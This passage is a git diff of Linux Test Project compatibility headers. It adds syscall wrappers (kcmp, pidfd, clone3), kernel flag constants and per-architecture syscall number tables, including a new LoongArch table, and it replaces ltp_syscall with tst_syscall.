00000000..9fa1be88 --- /dev/null +++ b/include/lapi/kcmp.h @@ -0,0 +1,41 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2015 Cedric Hnyda + */ + +#ifndef LAPI_KCMP_H__ +#define LAPI_KCMP_H__ + +#include +#include "config.h" +#include "lapi/syscalls.h" + +#ifndef HAVE_ENUM_KCMP_TYPE + +enum kcmp_type { + KCMP_FILE, + KCMP_VM, + KCMP_FILES, + KCMP_FS, + KCMP_SIGHAND, + KCMP_IO, + KCMP_SYSVSEM, + KCMP_TYPES, +}; + +#else + +# include + +#endif + +#ifndef HAVE_KCMP + +static inline int kcmp(int pid1, int pid2, int type, int fd1, int fd2) +{ + return tst_syscall(__NR_kcmp, pid1, pid2, type, fd1, fd2); +} + +#endif + +#endif /* LAPI_KCMP_H__ */ diff --git a/include/lapi/keyctl.h b/include/lapi/keyctl.h index d899345c..3be78249 100755 --- a/include/lapi/keyctl.h +++ b/include/lapi/keyctl.h @@ -140,6 +140,10 @@ static inline key_serial_t keyctl_join_session_keyring(const char *name) { # define KEYCTL_INVALIDATE 21 #endif +#ifndef KEYCTL_WATCH_KEY +# define KEYCTL_WATCH_KEY 32 +#endif + /* key permissions */ #ifndef KEY_POS_VIEW # define KEY_POS_VIEW 0x01000000 diff --git a/include/lapi/mkdirat.h b/include/lapi/mkdirat.h index 4d452d68..72eb7f64 100755 --- a/include/lapi/mkdirat.h +++ b/include/lapi/mkdirat.h @@ -13,7 +13,7 @@ #ifndef HAVE_MKDIRAT static inline int mkdirat(int dirfd, const char *dirname, int mode) { - return ltp_syscall(__NR_mkdirat, dirfd, dirname, mode); + return tst_syscall(__NR_mkdirat, dirfd, dirname, mode); } #endif diff --git a/include/lapi/mmap.h b/include/lapi/mmap.h index 12845b76..7512e9f8 100755 --- a/include/lapi/mmap.h +++ b/include/lapi/mmap.h @@ -8,6 +8,11 @@ #define LAPI_MMAP_H__ #include "config.h" +#include + +#ifndef MAP_SHARED_VALIDATE +# define MAP_SHARED_VALIDATE 0x03 +#endif #ifndef MAP_HUGETLB # define MAP_HUGETLB 0x40000 @@ -66,6 +71,14 @@ # define MADV_KEEPONFORK 19 #endif +#ifndef MADV_COLD +# define MADV_COLD 20 +#endif + +#ifndef MADV_PAGEOUT +# define MADV_PAGEOUT 21 +#endif + #ifndef MAP_FIXED_NOREPLACE #ifdef __alpha__ diff --git a/include/lapi/mount.h b/include/lapi/mount.h index 29054eef..c1af944f 100755 --- a/include/lapi/mount.h +++ b/include/lapi/mount.h @@ -1,33 +1,40 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* + * Copyright (c) Linux Test Project, 2015-2022 * Copyright (c) 2015 Cui Bixuan */ #ifndef LAPI_MOUNT_H__ #define LAPI_MOUNT_H__ +#include + #ifndef MS_REC -#define MS_REC 16384 +# define MS_REC 16384 #endif #ifndef MS_PRIVATE -#define MS_PRIVATE (1<<18) +# define MS_PRIVATE (1<<18) #endif #ifndef MS_STRICTATIME -#define MS_STRICTATIME (1 << 24) +# define MS_STRICTATIME (1 << 24) #endif #ifndef MNT_DETACH -#define MNT_DETACH 2 +# define MNT_DETACH 2 #endif #ifndef MNT_EXPIRE -#define MNT_EXPIRE 4 +# define MNT_EXPIRE 4 #endif #ifndef UMOUNT_NOFOLLOW -#define UMOUNT_NOFOLLOW 8 +# define UMOUNT_NOFOLLOW 8 +#endif + +#ifndef MS_NOSYMFOLLOW +# define MS_NOSYMFOLLOW 256 #endif #endif /* LAPI_MOUNT_H__ */ diff --git a/include/lapi/name_to_handle_at.h b/include/lapi/name_to_handle_at.h index bdc59b54..7c76438e 100755 --- a/include/lapi/name_to_handle_at.h +++ b/include/lapi/name_to_handle_at.h @@ -9,10 +9,10 @@ #include #include "config.h" +#include "tst_test.h" #include "lapi/syscalls.h" #include "lapi/fcntl.h" #include "tst_buffers.h" -#include "tst_test.h" #ifndef HAVE_NAME_TO_HANDLE_AT static inline int name_to_handle_at(int dfd, const char *pathname, diff --git a/include/lapi/pidfd.h b/include/lapi/pidfd.h new file mode 100644 index 00000000..9ca8e5aa --- /dev/null +++ b/include/lapi/pidfd.h @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: GPL-2.0-or-later +/* + * Copyright (c) 2022 FUJITSU LIMITED. All rights reserved. + * Author: Yang Xu + */ + +#ifndef LAPI_PIDFD_H__ +#define LAPI_PIDFD_H__ + +#include +#ifdef HAVE_SYS_PIDFD_H +# include +#endif +#include "config.h" +#include "lapi/syscalls.h" + +#ifndef PIDFD_NONBLOCK +#define PIDFD_NONBLOCK O_NONBLOCK +#endif + +static inline void pidfd_send_signal_supported(void) +{ + /* allow the tests to fail early */ + tst_syscall(__NR_pidfd_send_signal); +} + +#ifndef HAVE_PIDFD_SEND_SIGNAL +static inline int pidfd_send_signal(int pidfd, int sig, siginfo_t *info, + unsigned int flags) +{ + return tst_syscall(__NR_pidfd_send_signal, pidfd, sig, info, flags); +} +#endif + +static inline void pidfd_open_supported(void) +{ + /* allow the tests to fail early */ + tst_syscall(__NR_pidfd_open); +} + +#ifndef HAVE_PIDFD_OPEN +static inline int pidfd_open(pid_t pid, unsigned int flags) +{ + return tst_syscall(__NR_pidfd_open, pid, flags); +} +#endif + +static inline void pidfd_getfd_supported(void) +{ + /* allow the tests to fail early */ + tst_syscall(__NR_pidfd_getfd); +} + +#ifndef HAVE_PIDFD_GETFD +static inline int pidfd_getfd(int pidfd, int targetfd, unsigned int flags) +{ + return tst_syscall(__NR_pidfd_getfd, pidfd, targetfd, flags); +} +#endif + +#endif /* LAPI_PIDFD_H__ */ diff --git a/include/lapi/prctl.h b/include/lapi/prctl.h index fa592223..8d3ef5c3 100755 --- a/include/lapi/prctl.h +++ b/include/lapi/prctl.h @@ -19,6 +19,13 @@ # define PR_SET_SECCOMP 22 #endif +#ifndef PR_SET_TSC +# define PR_GET_TSC 25 +# define PR_SET_TSC 26 +# define PR_TSC_ENABLE 1 +# define PR_TSC_SIGSEGV 2 +#endif + #ifndef PR_SET_TIMERSLACK # define PR_SET_TIMERSLACK 29 # define PR_GET_TIMERSLACK 30 diff --git a/include/lapi/readlinkat.h b/include/lapi/readlinkat.h index bf156482..a680deee 100755 --- a/include/lapi/readlinkat.h +++ b/include/lapi/readlinkat.h @@ -14,7 +14,7 @@ static inline int readlinkat(int dirfd, const char *pathname, char *buf, size_t bufsiz) { - return ltp_syscall(__NR_readlinkat, dirfd, pathname, buf, bufsiz); + return tst_syscall(__NR_readlinkat, dirfd, pathname, buf, bufsiz); } #endif diff --git a/include/lapi/renameat.h b/include/lapi/renameat.h index 0a9e8e59..abf4c1d6 100755 --- a/include/lapi/renameat.h +++ b/include/lapi/renameat.h @@ -15,7 +15,7 @@ static inline int renameat(int olddirfd, const char *oldpath, int newdirfd, const char *newpath) { - return ltp_syscall(__NR_renameat, olddirfd, oldpath, newdirfd, + return tst_syscall(__NR_renameat, olddirfd, oldpath, newdirfd, newpath); } #endif diff --git a/include/lapi/rt_sigaction.h b/include/lapi/rt_sigaction.h index f368c07d..a42b690d 100755 --- a/include/lapi/rt_sigaction.h +++ b/include/lapi/rt_sigaction.h @@ -157,12 +157,6 @@ __attribute__ ((optimize("Os"))) __attribute__((used)) restore_rt(void) } #endif -#ifdef TST_TEST_H__ -# define TST_SYSCALL tst_syscall -#else -# define TST_SYSCALL ltp_syscall -#endif - /* This is a wrapper for __NR_rt_sigaction syscall. * act/oact values of INVAL_SA_PTR is used to pass * an invalid pointer to syscall(__NR_rt_sigaction) @@ -218,11 +212,11 @@ static int ltp_rt_sigaction(int signum, const struct sigaction *act, #ifdef __sparc__ - ret = TST_SYSCALL(__NR_rt_sigaction, signum, + ret = tst_syscall(__NR_rt_sigaction, signum, kact_p, koact_p, stub, sigsetsize); #else - ret = TST_SYSCALL(__NR_rt_sigaction, signum, + ret = tst_syscall(__NR_rt_sigaction, signum, kact_p, koact_p, sigsetsize); #endif diff --git a/include/lapi/sched.h b/include/lapi/sched.h index 036edd51..26fdb628 100755 --- a/include/lapi/sched.h +++ b/include/lapi/sched.h @@ -1,14 +1,19 @@ // SPDX-License-Identifier: GPL-2.0-or-later /* * Copyright (c) 2015 Cui Bixuan + * Copyright (c) Linux Test Project, 2016-2022 */ #ifndef LAPI_SCHED_H__ #define LAPI_SCHED_H__ -#include "lapi/syscalls.h" +#include +#include #include #include +#include "config.h" +#include "lapi/syscalls.h" +#include "lapi/sched.h" struct sched_attr { uint32_t size; @@ -40,20 +45,111 @@ static inline int sched_getattr(pid_t pid, struct sched_attr *attr, return syscall(__NR_sched_getattr, pid, attr, size, flags); } +#ifndef HAVE_CLONE3 +struct clone_args { + uint64_t __attribute__((aligned(8))) flags; + uint64_t __attribute__((aligned(8))) pidfd; + uint64_t __attribute__((aligned(8))) child_tid; + uint64_t __attribute__((aligned(8))) parent_tid; + uint64_t __attribute__((aligned(8))) exit_signal; + uint64_t __attribute__((aligned(8))) stack; + uint64_t __attribute__((aligned(8))) stack_size; + uint64_t __attribute__((aligned(8))) tls; + uint64_t __attribute__((aligned(8))) set_tid; + uint64_t __attribute__((aligned(8))) set_tid_size; + uint64_t __attribute__((aligned(8))) cgroup; +}; + +struct clone_args_minimal { + uint64_t __attribute__((aligned(8))) flags; + uint64_t __attribute__((aligned(8))) pidfd; + uint64_t __attribute__((aligned(8))) child_tid; + uint64_t __attribute__((aligned(8))) parent_tid; + uint64_t __attribute__((aligned(8))) exit_signal; + uint64_t __attribute__((aligned(8))) stack; + uint64_t __attribute__((aligned(8))) stack_size; + uint64_t __attribute__((aligned(8))) tls; +}; + +static inline int clone3(struct clone_args *args, size_t size) +{ + return tst_syscall(__NR_clone3, args, size); +} +#endif + +static inline void clone3_supported_by_kernel(void) +{ + if ((tst_kvercmp(5, 3, 0)) < 0) { + /* Check if the syscall is backported on an older kernel */ + tst_syscall(__NR_clone3, NULL, 0); + } +} + +#ifndef HAVE_GETCPU +static inline int getcpu(unsigned *cpu, unsigned *node) +{ + return tst_syscall(__NR_getcpu, cpu, node, NULL); +} +#endif + +#ifndef SCHED_DEADLINE +# define SCHED_DEADLINE 6 +#endif + #ifndef CLONE_VM -#define CLONE_VM 0x00000100 +# define CLONE_VM 0x00000100 #endif #ifndef CLONE_FS -#define CLONE_FS 0x00000200 +# define CLONE_FS 0x00000200 +#endif + +#ifndef CLONE_PIDFD +# define CLONE_PIDFD 0x00001000 +#endif + +#ifndef CLONE_NEWNS +# define CLONE_NEWNS 0x00020000 #endif #ifndef CLONE_SYSVSEM -#define CLONE_SYSVSEM 0x00040000 +# define CLONE_SYSVSEM 0x00040000 +#endif + +#ifndef CLONE_NEWCGROUP +# define CLONE_NEWCGROUP 0x02000000 +#endif + +#ifndef CLONE_NEWUTS +# define CLONE_NEWUTS 0x04000000 +#endif + +#ifndef CLONE_NEWIPC +# define CLONE_NEWIPC 0x08000000 +#endif + +#ifndef CLONE_NEWUSER +# define CLONE_NEWUSER 0x10000000 +#endif + +#ifndef CLONE_NEWPID +# define CLONE_NEWPID 0x20000000 +#endif + +#ifndef CLONE_NEWNET +# define CLONE_NEWNET 0x40000000 #endif #ifndef CLONE_IO -#define CLONE_IO 0x80000000 +# define CLONE_IO 0x80000000 +#endif + +#ifndef CLONE_NEWTIME +# define CLONE_NEWTIME 0x00000080 +#endif + +#ifndef CLONE_INTO_CGROUP +# define CLONE_INTO_CGROUP 0x200000000ULL #endif #endif /* LAPI_SCHED_H__ */ diff --git a/include/lapi/sem.h b/include/lapi/sem.h index 495afe93..ba559d2f 100755 --- a/include/lapi/sem.h +++ b/include/lapi/sem.h @@ -24,4 +24,8 @@ union semun { # define SEM_STAT_ANY 20 #endif +#ifndef SEMMSL +# define SEMMSL 32000 +#endif + #endif /* LAPI_SEM_H__ */ diff --git a/include/lapi/stat.h b/include/lapi/stat.h index d5960588..3606c9eb 100755 --- a/include/lapi/stat.h +++ b/include/lapi/stat.h @@ -10,7 +10,9 @@ #include #include +#include #include "lapi/syscalls.h" + /* * Timestamp structure for the timestamps in struct statx. * @@ -21,9 +23,7 @@ * * __reserved is held in case we need a yet finer resolution. */ -#if defined(HAVE_STRUCT_STATX_TIMESTAMP) -#include -#else +#ifndef HAVE_STRUCT_STATX_TIMESTAMP struct statx_timestamp { int64_t tv_sec; uint32_t tv_nsec; @@ -67,9 +67,7 @@ struct statx_timestamp { * will have values installed for compatibility purposes so that stat() and * co. can be emulated in userspace. */ -#if defined(HAVE_STRUCT_STATX) -#include -#else +#ifndef HAVE_STRUCT_STATX struct statx { /* 0x00 */ uint32_t stx_mask; @@ -102,7 +100,7 @@ struct statx { }; #endif -#if !defined(HAVE_STATX) +#ifndef HAVE_STATX /* * statx: wrapper function of statx @@ -180,8 +178,8 @@ static inline int statx(int dirfd, const char *pathname, unsigned int flags, # define STATX_MNT_ID 0x00001000U #endif -#ifndef STATX_ALL -# define STATX_ALL 0x00000fffU +#ifndef STATX_DIOALIGN +# define STATX_DIOALIGN 0x00002000U #endif #ifndef STATX__RESERVED @@ -223,40 +221,12 @@ static inline int statx(int dirfd, const char *pathname, unsigned int flags, # define STATX_ATTR_AUTOMOUNT 0x00001000 #endif -#ifndef AT_SYMLINK_NOFOLLOW -# define AT_SYMLINK_NOFOLLOW 0x100 -#endif - -#ifndef AT_REMOVEDIR -# define AT_REMOVEDIR 0x200 -#endif - -#ifndef AT_SYMLINK_FOLLOW -# define AT_SYMLINK_FOLLOW 0x400 -#endif - -#ifndef AT_NO_AUTOMOUNT -# define AT_NO_AUTOMOUNT 0x800 -#endif - -#ifndef AT_EMPTY_PATH -# define AT_EMPTY_PATH 0x1000 -#endif - -#ifndef AT_STATX_SYNC_TYPE -# define AT_STATX_SYNC_TYPE 0x6000 -#endif - -#ifndef AT_STATX_SYNC_AS_STAT -# define AT_STATX_SYNC_AS_STAT 0x0000 -#endif - -#ifndef AT_STATX_FORCE_SYNC -# define AT_STATX_FORCE_SYNC 0x2000 +#ifndef STATX_ATTR_MOUNT_ROOT +# define STATX_ATTR_MOUNT_ROOT 0x00002000 #endif -#ifndef AT_STATX_DONT_SYNC -# define AT_STATX_DONT_SYNC 0x4000 +#ifndef STATX_ATTR_VERITY +# define STATX_ATTR_VERITY 0x00100000 #endif #endif /* LAPI_STAT_H__ */ diff --git a/include/lapi/sync_file_range.h b/include/lapi/sync_file_range.h index 2f81e446..b1d2b282 100755 --- a/include/lapi/sync_file_range.h +++ b/include/lapi/sync_file_range.h @@ -13,12 +13,6 @@ #if !defined(HAVE_SYNC_FILE_RANGE) -#ifdef TST_TEST_H__ -# define TST_SYSCALL tst_syscall -#else -# define TST_SYSCALL ltp_syscall -#endif - /***************************************************************************** * Wraper function to call sync_file_range system call ******************************************************************************/ @@ -28,29 +22,29 @@ static inline long sync_file_range(int fd, off64_t offset, off64_t nbytes, #if (defined(__arm__) || defined(__powerpc__) || defined(__powerpc64__)) # ifdef TST_ABI32 # if __BYTE_ORDER == __BIG_ENDIAN - return TST_SYSCALL(__NR_sync_file_range2, fd, flags, + return tst_syscall(__NR_sync_file_range2, fd, flags, (int)(offset >> 32), (int)offset, (int)(nbytes >> 32), (int)nbytes); # elif __BYTE_ORDER == __LITTLE_ENDIAN - return TST_SYSCALL(__NR_sync_file_range2, fd, flags, (int)offset, + return tst_syscall(__NR_sync_file_range2, fd, flags, (int)offset, (int)(offset >> 32), nbytes, (int)(nbytes >> 32)); # endif # else - return TST_SYSCALL(__NR_sync_file_range2, fd, flags, offset, nbytes); + return tst_syscall(__NR_sync_file_range2, fd, flags, offset, nbytes); # endif #elif (defined(__s390__) || defined(__s390x__)) && defined(TST_ABI32) - return TST_SYSCALL(__NR_sync_file_range, fd, (int)(offset >> 32), + return tst_syscall(__NR_sync_file_range, fd, (int)(offset >> 32), (int)offset, (int)(nbytes >> 32), (int)nbytes, flags); #elif defined(__mips__) && defined(TST_ABI32) # if __BYTE_ORDER == __BIG_ENDIAN - return TST_SYSCALL(__NR_sync_file_range, fd, 0, (int)(offset >> 32), + return tst_syscall(__NR_sync_file_range, fd, 0, (int)(offset >> 32), (int)offset, (int)(nbytes >> 32), (int)nbytes, flags); # elif __BYTE_ORDER == __LITTLE_ENDIAN - return TST_SYSCALL(__NR_sync_file_range, fd, 0, (int)offset, + return tst_syscall(__NR_sync_file_range, fd, 0, (int)offset, (int)(offset >> 32), (int)nbytes, (int)(nbytes >> 32), flags); # endif #else - return TST_SYSCALL(__NR_sync_file_range, fd, offset, nbytes, flags); + return tst_syscall(__NR_sync_file_range, fd, offset, nbytes, flags); #endif } #endif diff --git a/include/lapi/syscalls/aarch64.in b/include/lapi/syscalls/aarch64.in index 89b63ee4..2cb6c2d8 100755 --- a/include/lapi/syscalls/aarch64.in +++ b/include/lapi/syscalls/aarch64.in @@ -293,6 +293,8 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 _sysctl 1078 diff --git a/include/lapi/syscalls/arc.in b/include/lapi/syscalls/arc.in index 72420754..3e2ee906 100755 --- a/include/lapi/syscalls/arc.in +++ b/include/lapi/syscalls/arc.in @@ -313,5 +313,7 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/arm.in b/include/lapi/syscalls/arm.in index 2a78d7c3..7bdbca53 100755 --- a/include/lapi/syscalls/arm.in +++ b/include/lapi/syscalls/arm.in @@ -391,5 +391,7 @@ clone3 (__NR_SYSCALL_BASE+435) close_range (__NR_SYSCALL_BASE+436) openat2 (__NR_SYSCALL_BASE+437) pidfd_getfd (__NR_SYSCALL_BASE+438) +faccessat2 (__NR_SYSCALL_BASE+439) epoll_pwait2 (__NR_SYSCALL_BASE+441) quotactl_fd (__NR_SYSCALL_BASE+443) +futex_waitv (__NR_SYSCALL_BASE+449) diff --git a/include/lapi/syscalls/hppa.in b/include/lapi/syscalls/hppa.in index 2f0fc815..8ebdafaf 100755 --- a/include/lapi/syscalls/hppa.in +++ b/include/lapi/syscalls/hppa.in @@ -40,5 +40,7 @@ fsmount 432 fspick 433 pidfd_open 434 close_range 436 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/i386.in b/include/lapi/syscalls/i386.in index 34a8a621..1472631c 100755 --- a/include/lapi/syscalls/i386.in +++ b/include/lapi/syscalls/i386.in @@ -427,5 +427,7 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/ia64.in b/include/lapi/syscalls/ia64.in index b729cd3f..0ea6e972 100755 --- a/include/lapi/syscalls/ia64.in +++ b/include/lapi/syscalls/ia64.in @@ -340,5 +340,7 @@ pidfd_open 1458 close_range 1460 openat2 1461 pidfd_getfd 1462 +faccessat2 1463 epoll_pwait2 1465 quotactl_fd 1467 +futex_waitv 1473 diff --git a/include/lapi/syscalls/loongarch.in b/include/lapi/syscalls/loongarch.in new file mode 100644 index 00000000..301f611f --- /dev/null +++ b/include/lapi/syscalls/loongarch.in @@ -0,0 +1,307 @@ +io_setup 0 +io_destroy 1 +io_submit 2 +io_cancel 3 +io_getevents 4 +setxattr 5 +lsetxattr 6 +fsetxattr 7 +getxattr 8 +lgetxattr 9 +fgetxattr 10 +listxattr 11 +llistxattr 12 +flistxattr 13 +removexattr 14 +lremovexattr 15 +fremovexattr 16 +getcwd 17 +lookup_dcookie 18 +eventfd2 19 +epoll_create1 20 +epoll_ctl 21 +epoll_pwait 22 +dup 23 +dup3 24 +fcntl 25 +inotify_init1 26 +inotify_add_watch 27 +inotify_rm_watch 28 +ioctl 29 +ioprio_set 30 +ioprio_get 31 +flock 32 +mknodat 33 +mkdirat 34 +unlinkat 35 +symlinkat 36 +linkat 37 +renameat 38 +umount2 39 +mount 40 +pivot_root 41 +nfsservctl 42 +statfs 43 +fstatfs 44 +truncate 45 +ftruncate 46 +fallocate 47 +faccessat 48 +chdir 49 +fchdir 50 +chroot 51 +fchmod 52 +fchmodat 53 +fchownat 54 +fchown 55 +openat 56 +close 57 +vhangup 58 +pipe2 59 +quotactl 60 +getdents64 61 +lseek 62 +read 63 +write 64 +readv 65 +writev 66 +pread64 67 +pwrite64 68 +preadv 69 +pwritev 70 +sendfile 71 +pselect6 72 +ppoll 73 +signalfd4 74 +vmsplice 75 +splice 76 +tee 77 +readlinkat 78 +fstatat 79 +fstat 80 +sync 81 +fsync 82 +fdatasync 83 +sync_file_range2 84 +sync_file_range 84 +timerfd_create 85 +timerfd_settime 86 +timerfd_gettime 87 +utimensat 88 +acct 89 +capget 90 +capset 91 +personality 92 +exit 93 +exit_group 94 +waitid 95 +set_tid_address 96 +unshare 97 +futex 98 +set_robust_list 99 +get_robust_list 100 +nanosleep 101 +getitimer 102 +setitimer 103 +kexec_load 104 +init_module 105 +delete_module 106 +timer_create 107 +timer_gettime 108 +timer_getoverrun 109 +timer_settime 110 +timer_delete 111 +clock_settime 112 +clock_gettime 113 +clock_getres 114 +clock_nanosleep 115 +syslog 116 +ptrace 117 +sched_setparam 118 +sched_setscheduler 119 +sched_getscheduler 120 +sched_getparam 121 +sched_setaffinity 122 +sched_getaffinity 123 +sched_yield 124 +sched_get_priority_max 125 +sched_get_priority_min 126 +sched_rr_get_interval 127 +restart_syscall 128 +kill 129 +tkill 130 +tgkill 131 +sigaltstack 132 +rt_sigsuspend 133 +rt_sigaction 134 +rt_sigprocmask 135 +rt_sigpending 136 +rt_sigtimedwait 137 +rt_sigqueueinfo 138 +rt_sigreturn 139 +setpriority 140 +getpriority 141 +reboot 142 +setregid 143 +setgid 144 +setreuid 145 +setuid 146 +setresuid 147 +getresuid 148 +setresgid 149 +getresgid 150 +setfsuid 151 +setfsgid 152 +times 153 +setpgid 154 +getpgid 155 +getsid 156 +setsid 157 +getgroups 158 +setgroups 159 +uname 160 +sethostname 161 +setdomainname 162 +getrlimit 163 +setrlimit 164 +getrusage 165 +umask 166 +prctl 167 +getcpu 168 +gettimeofday 169 +settimeofday 170 +adjtimex 171 +getpid 172 +getppid 173 +getuid 174 +geteuid 175 +getgid 176 +getegid 177 +gettid 178 +sysinfo 179 +mq_open 180 +mq_unlink 181 +mq_timedsend 182 +mq_timedreceive 183 +mq_notify 184 +mq_getsetattr 185 +msgget 186 +msgctl 187 +msgrcv 188 +msgsnd 189 +semget 190 +semctl 191 +semtimedop 192 +semop 193 +shmget 194 +shmctl 195 +shmat 196 +shmdt 197 +socket 198 +socketpair 199 +bind 200 +listen 201 +accept 202 +connect 203 +getsockname 204 +getpeername 205 +sendto 206 +recvfrom 207 +setsockopt 208 +getsockopt 209 +shutdown 210 +sendmsg 211 +recvmsg 212 +readahead 213 +brk 214 +munmap 215 +mremap 216 +add_key 217 +request_key 218 +keyctl 219 +clone 220 +execve 221 +mmap 222 +fadvise64 223 +swapon 224 +swapoff 225 +mprotect 226 +msync 227 +mlock 228 +munlock 229 +mlockall 230 +munlockall 231 +mincore 232 +madvise 233 +remap_file_pages 234 +mbind 235 +get_mempolicy 236 +set_mempolicy 237 +migrate_pages 238 +move_pages 239 +rt_tgsigqueueinfo 240 +perf_event_open 241 +accept4 242 +recvmmsg 243 +wait4 260 +prlimit64 261 +fanotify_init 262 +fanotify_mark 263 +name_to_handle_at 264 +open_by_handle_at 265 +clock_adjtime 266 +syncfs 267 +setns 268 +sendmmsg 269 +process_vm_readv 270 +process_vm_writev 271 +kcmp 272 +finit_module 273 +sched_setattr 274 +sched_getattr 275 +renameat2 276 +seccomp 277 +getrandom 278 +memfd_create 279 +bpf 280 +execveat 281 +userfaultfd 282 +membarrier 283 +mlock2 284 +copy_file_range 285 +preadv2 286 +pwritev2 287 +pkey_mprotect 288 +pkey_alloc 289 +pkey_free 290 +statx 291 +io_pgetevents 292 +rseq 293 +kexec_file_load 294 +pidfd_send_signal 424 +io_uring_setup 425 +io_uring_enter 426 +io_uring_register 427 +open_tree 428 +move_mount 429 +fsopen 430 +fsconfig 431 +fsmount 432 +fspick 433 +pidfd_open 434 +clone3 435 +close_range 436 +openat2 437 +pidfd_getfd 438 +faccessat2 439 +process_madvise 440 +epoll_pwait2 441 +mount_setattr 442 +quotactl_fd 443 +landlock_create_ruleset 444 +landlock_add_rule 445 +landlock_restrict_self 446 +memfd_secret 447 +process_mrelease 448 +futex_waitv 449 +set_mempolicy_home_node 450 diff --git a/include/lapi/syscalls/mips_n32.in b/include/lapi/syscalls/mips_n32.in index 46098a61..e818c9d9 100755 --- a/include/lapi/syscalls/mips_n32.in +++ b/include/lapi/syscalls/mips_n32.in @@ -370,3 +370,4 @@ process_madvise 6440 epoll_pwait2 6441 mount_setattr 6442 quotactl_fd 6443 +futex_waitv 6449 diff --git a/include/lapi/syscalls/mips_n64.in b/include/lapi/syscalls/mips_n64.in index 07f96ac5..6e15f43b 100755 --- a/include/lapi/syscalls/mips_n64.in +++ b/include/lapi/syscalls/mips_n64.in @@ -346,3 +346,4 @@ process_madvise 5440 epoll_pwait2 5441 mount_setattr 5442 quotactl_fd 5443 +futex_waitv 5449 diff --git a/include/lapi/syscalls/mips_o32.in b/include/lapi/syscalls/mips_o32.in index 5e64a4a1..921d5d33 100755 --- a/include/lapi/syscalls/mips_o32.in +++ b/include/lapi/syscalls/mips_o32.in @@ -416,3 +416,4 @@ process_madvise 4440 epoll_pwait2 4441 mount_setattr 4442 quotactl_fd 4443 +futex_waitv 4449 diff --git a/include/lapi/syscalls/order b/include/lapi/syscalls/order index 54809768..c18aa38c 100755 --- a/include/lapi/syscalls/order +++ b/include/lapi/syscalls/order @@ -4,6 +4,7 @@ arm hppa i386 ia64 +loongarch mips_n32 mips_n64 mips_o32 diff --git a/include/lapi/syscalls/powerpc.in b/include/lapi/syscalls/powerpc.in index f4e85940..545d9d3d 100755 --- a/include/lapi/syscalls/powerpc.in +++ b/include/lapi/syscalls/powerpc.in @@ -420,5 +420,7 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/powerpc64.in b/include/lapi/syscalls/powerpc64.in index f4e85940..545d9d3d 100755 --- a/include/lapi/syscalls/powerpc64.in +++ b/include/lapi/syscalls/powerpc64.in @@ -420,5 +420,7 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/regen.sh b/include/lapi/syscalls/regen.sh index d7daf8ad..97027e2f 100755 --- a/include/lapi/syscalls/regen.sh +++ b/include/lapi/syscalls/regen.sh @@ -35,24 +35,20 @@ cat << EOF > "${output_pid}" #include #include "cleanup.c" -#define ltp_syscall(NR, ...) ({ \\ - int __ret; \\ - if (NR == __LTP__NR_INVALID_SYSCALL) { \\ - errno = ENOSYS; \\ - __ret = -1; \\ - } else { \\ - __ret = syscall(NR, ##__VA_ARGS__); \\ - } \\ - if (__ret == -1 && errno == ENOSYS) { \\ - tst_brkm(TCONF, CLEANUP, \\ - "syscall(%d) " #NR " not supported on your arch", \\ - NR); \\ - } \\ - __ret; \\ +#ifdef TST_TEST_H__ +#define TST_SYSCALL_BRK__(NR, SNR) ({ \\ + tst_brk(TCONF, \\ + "syscall(%d) " SNR " not supported on your arch", NR); \\ +}) +#else +#define TST_SYSCALL_BRK__(NR, SNR) ({ \\ + tst_brkm(TCONF, CLEANUP, \\ + "syscall(%d) " SNR " not supported on your arch", NR); \\ }) +#endif #define tst_syscall(NR, ...) ({ \\ - int tst_ret; \\ + intptr_t tst_ret; \\ if (NR == __LTP__NR_INVALID_SYSCALL) { \\ errno = ENOSYS; \\ tst_ret = -1; \\ @@ -60,7 +56,7 @@ cat << EOF > "${output_pid}" tst_ret = syscall(NR, ##__VA_ARGS__); \\ } \\ if (tst_ret == -1 && errno == ENOSYS) { \\ - tst_brk(TCONF, "syscall(%d) " #NR " not supported", NR); \\ + TST_SYSCALL_BRK__(NR, #NR); \\ } \\ tst_ret; \\ }) diff --git a/include/lapi/syscalls/s390.in b/include/lapi/syscalls/s390.in index 3e16d847..7213ac5f 100755 --- a/include/lapi/syscalls/s390.in +++ b/include/lapi/syscalls/s390.in @@ -407,5 +407,7 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/s390x.in b/include/lapi/syscalls/s390x.in index beb0819a..879012e2 100755 --- a/include/lapi/syscalls/s390x.in +++ b/include/lapi/syscalls/s390x.in @@ -355,5 +355,7 @@ clone3 435 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/sh.in b/include/lapi/syscalls/sh.in index a81cf829..7d5192a2 100755 --- a/include/lapi/syscalls/sh.in +++ b/include/lapi/syscalls/sh.in @@ -401,5 +401,7 @@ pidfd_open 434 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/sparc.in b/include/lapi/syscalls/sparc.in index 6a7817ae..91d2fb1c 100755 --- a/include/lapi/syscalls/sparc.in +++ b/include/lapi/syscalls/sparc.in @@ -406,5 +406,7 @@ pidfd_open 434 close_range 436 openat2 437 pidfd_getfd 438 +faccessat2 439 epoll_pwait2 441 quotactl_fd 443 +futex_waitv 449 diff --git a/include/lapi/syscalls/sparc64.in b/include/lapi/syscalls/sparc64.in index 